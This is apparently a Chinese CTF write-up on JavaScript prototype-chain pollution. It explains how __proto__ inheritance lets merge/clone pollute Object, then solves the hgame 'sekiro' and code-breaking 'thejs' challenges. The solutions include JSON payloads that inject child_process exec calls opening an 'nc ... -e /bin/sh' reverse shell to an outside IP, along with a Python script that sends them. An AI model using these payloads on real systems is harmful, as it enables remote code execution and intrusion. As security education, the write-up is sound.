因为数模导致本来不打算做week4的题目的,不过当时瞅了一眼sekiro这道题并且看出来是原型链污染(也有叫Node.js污染,javasrcipt原型链污染的)。可惜当时没做过,没深入也没做出来。今天抽空看了下wp才明白。干脆把当时查阅资料学到的知识总结下。
时间线上看,国内最早出现的原型链污染题目应该是出自P牛代码审计知识星球的hard-the js。整体上算比较新的洞。在各种比赛出现频次一般,原因有很多,这点之后再谈。其主要是前端形式的攻击,而且涉及到javascript知识更多些,因此还是要从javascript的角度学习下:
原型链
经常有这样一种说法:javascript中万物皆对象。这个说法严格来讲不准确,但是却体现了js语法及使用上的特性。javaScript中的对象其实就是一些键值对的集合,每一个键值对叫做一个属性,比如:
此时对象obj就有了
name
与website
两个属性。但其实其输出内容并不只有这两个,完整输出的如下:__proto__
可以看到,输出属性中出现了
proto
以及constructor
这样的字眼,那他们到底是什么呢?这要提到js继承的概念,继承的整个过程就称为该类的原型链。从刚刚的例子可以看到,从obj的
__proto__
中能明白其父类是Object.(Constructor返回用于创建这个对象的函数),同时还有许多其他函数。
__proto__
是只针对对象而言的。而对于类,有一个与之相对应的属性,叫做prototype
。且二者等价。比如下面这个p牛的经典例子:
从类的角度讲,prototype
是其一个属性,所有类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。但是类所实例化的对象并不能通过prototype访问原型,所以才有__proto__
出现,且一个对象的proto属性,指向这个对象所在的类的prototype属性。
原型链污染
而原型链的特性决定了其在js继承中的重要之处。而其特性表现在,在我们调用一个对象的某一属性时:
1.对象(obj)中寻找这一属性
2.如果找不到,则在obj.__proto__中寻找属性
3.如果仍然找不到,则继续在obj.__proto__.__proto__中寻找这一属性
以上机制被称为js的prototype继承链。而原型链污染就与这有关
比如以下代码:
let foo = {bar: 1}
console.log(foo.bar)
foo.__proto__.bar = 2
console.log(foo.bar)
let zoo = {}
console.log(zoo.bar)
结果为
污染可以发现,在我们通过
__proto__
修改bar值后,再度实例化一个新的对象时,其bar值从1变为了2。原因如下:前面修改foo的原型foo.__proto__.bar = 2
,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2.那么后面我们zoo相当于是实例化了一个Object类,自然有属性bar=2.
所以原型链污染定义如下:
如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染
使用场景
原型链污染的使用场景我也不熟,但是目前根据题目出现的情况,主要与这两个函数有关
merge()
clone()
常用源码如下,可以看出clone与merge并无本质区别:
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
本质上这两个函数会有风险,就是因为存在能够控制数组(对象)的“键名”的操作。
但是要想实现原型链污染,光只要键名可控是不够的。以下面这个例子为参考:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
尝试把第二个键名设为__proto__
并赋值b为2。看看能不能把object的属性b改为2。
可以看见最后
o3.b
返回的是undefined
,并没有污染成功。主要原因就是因为
__proto__
没有被认为是一个键名。而这就需要我上面提到的另一个条件,代码如下时:
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
如果存在JSON.parse()
,就能成功把__proto__
解析成键名了。
有了这些基础,就基本能了解原型链污染的原理了。
真题
hgame sekiro
回头来看hgame中sekiro这道题,题目给出的关键源码主要在一下两个js文件中
route/index.js
var express = require('express');
var router = express.Router();
var game = require('../utils/index');
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
var Game = new game();
router.get('/', function (req, res) {
res.render('index');
});
router.post('/action', function (req, res) {
if (!req.session.sekiro) {
res.end("Session required.")
}
if (!req.session.sekiro.alive) {
res.end("You dead.")
}
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.solution) {
req.session.sekiro = Game.dealWithAttacks(req.session.sekiro, copybody.solution)
}
res.end("提交成功")
})
router.get('/attack', function (req, res) {
if (!req.session.sekiro) {
res.end("Session required.")
}
if (!req.session.sekiro.alive) {
res.end("You dead.")
}
req.session.sekiro.attackInfo = Game.getAttackInfo()
res.end(req.session.sekiro.attackInfo.method)
})
router.get('/info', function (req, res) {
if (typeof(req.query.restart) != "undefined" || !req.session.sekiro) {
req.session.sekiro = { "health": 3000, posture: 0, alive: true }
}
res.json(req.session.sekiro);
})
module.exports = router;
以及util/index.js
function game() {
this.attacks = [
{
"method": "连续砍击",
"attack": 1000,
"additionalEffect": "sekiro.posture+=100",
"solution": "连续格挡"
},
{
"method": "普通攻击",
"attack": 500,
"additionalEffect": "sekiro.posture+=50",
"solution": "格挡"
},
{
"method": "下段攻击",
"attack": 1000,
"solution": "跳跃踩头"
},
{
"method": "突刺攻击",
"attack": 1000,
"solution": "识破"
},
{
"method": "巴之雷",
"attack": 1000,
"solution": "雷反"
},
]
this.getAttackInfo = function () {
return this.attacks[Math.floor(Math.random() * this.attacks.length)]
}
this.dealWithAttacks = function (sekiro, solution) {
if (sekiro.attackInfo.solution !== solution) {
sekiro.health -= sekiro.attackInfo.attack
if (sekiro.attackInfo.additionalEffect) {
var fn = Function("sekiro", sekiro.attackInfo.additionalEffect + "\nreturn sekiro")
sekiro = fn(sekiro)
}
}
sekiro.posture = (sekiro.posture <= 500) ? sekiro.posture : 500
sekiro.health = (sekiro.health > 0) ? sekiro.health : 0
if (sekiro.posture == 500 || sekiro.health == 0) {
sekiro.alive = false
}
return sekiro
}
}
module.exports = game;
很容易发现index.js中,在/action
这个路由里,有merge(),clone()
函数的出现。于是我们跟进下,发现要到dealWithAttacks()
这个函数去,于是再审计下关键代码:
if (sekiro.attackInfo.additionalEffect) {
var fn = Function("sekiro", sekiro.attackInfo.additionalEffect + "\nreturn sekiro")
sekiro = fn(sekiro)
}
这里的attackInfo.additionalEffect
如果能被我们污染,明显是可以直接RCE的。那么我们要做的就是污染Object类,当题目执行attackInfo.additionalEffect
找不到additionalEffect
时,就会继续找到基类被污染的这一属性,从而执行我们的代码。
所以paylaod如下
{"solution":"1","__proto__": {"additionalEffect":"global.process.mainModule.constructor._load('child_process'). exec('nc vps-ip 8877 -e /bin/sh',function(){});"}}
import requests
import json
url='http://sekiro.hgame.babelfish.ink/action'
cookie={
'session':'s%3ACDDqh7q_XQ-rRAIB7W93PfE75p9oD7gS.UQuPEE0eikMrkIoAUaWJ3TFIibdRs72odZliCVcyzrk'
}
headers={
'Content-Type':'application/json'
}
payload={"solution":"1","__proto__": {"additionalEffect":"global.process.mainModule.constructor._load('child_process'). exec('nc 120.27.246.202 8888 -e /bin/sh',function(){});"}}
res=requests.post(url,cookies=cookie,headers=headers,data=json.dumps(payload))
print(res.text)
使用bash弹shell貌似没成,可能是nodejs的问题吧
flag
code-breaking thejs
开头提到了p牛知识星球的这道题,那么现在再来看看:
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}
res.render('index', {
language: data.language,
category: data.category
})
})
app.listen(3000, () => console.log(`Example app listening on port 3000!`))
漏洞点非常清晰,就是一个POST处用到了merge,显然存在原型链污染漏洞。那么关键函数需要去看看,所以需要参考lodash的代码(lodash是一个辅助功能集,这里主要用到的还是lodash.merge
和lodash.template
)如果去审计源码,会发现这样一个属性https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165及对应源码,和后面的调用。
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
开始sourceURL
是空值,但是后面它作为new Function的第二个参数中,造成任意代码执行漏洞。
所以payload如下:
{"__proto__":{"sourceURL":"\u000aglobal.process.mainModule.constructor._load('child_process').exec('nc 120.27.246.202 8888 -e /bin/sh',function(){});"}}
payload
需要注意的是,此处的/u000a
必不可少,这时json中的换行。并且一定要把Content-Type
必须设置成application/json
。否则__proto__
会被处理成字符串。
这里同样使用跟hgame那道题一样的弹shell手段。可以拿到shell
同时因为不知道文件名,使用cat /fl*
来模糊处理。
值得一提的是,p牛对此题的payload额外带了一个for循环
for (var a in{}) {delete Object.prototype[a]}
删掉污染的原型。这时因为原型污染这一漏洞除非整个程序重启,否则所有的对象都会被污染与影响。这样在awd等等比赛中一旦你拿到flag,就有可能被别人直接访问到。
总结下:
1.原型链污染属于前端漏洞应用,基本上需要源码审计功力来进行解决;找到merge(),clone()
只是确定漏洞的开始。
2.进行审计需要以找到可污染的属性为主要目的。寻找方法是:找到一个重要的但是开始并没有定义或者存在值为undefined的属性,它在之后被直接调用时将执行污染属性。通常属性会被插入到一段代码中,或者直接作为某功能调用。exec, return ,fn
等等都是值得注意的关键字。
3.题目基本是以RCE(弹shell)为最终目的,但是有的题目可能靶机原因不支持,所以要灵活变化把flag读出来。目前来看很多Node.js传统弹shell方式并不适用.wget,curl,以及我两道题都用到的nc比较适用。
参考文章:
https://www.anquanke.com/post/id/176884#h3-5
https://xz.aliyun.com/t/2802
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
https://zhuanlan.zhihu.com/p/52042249
网友评论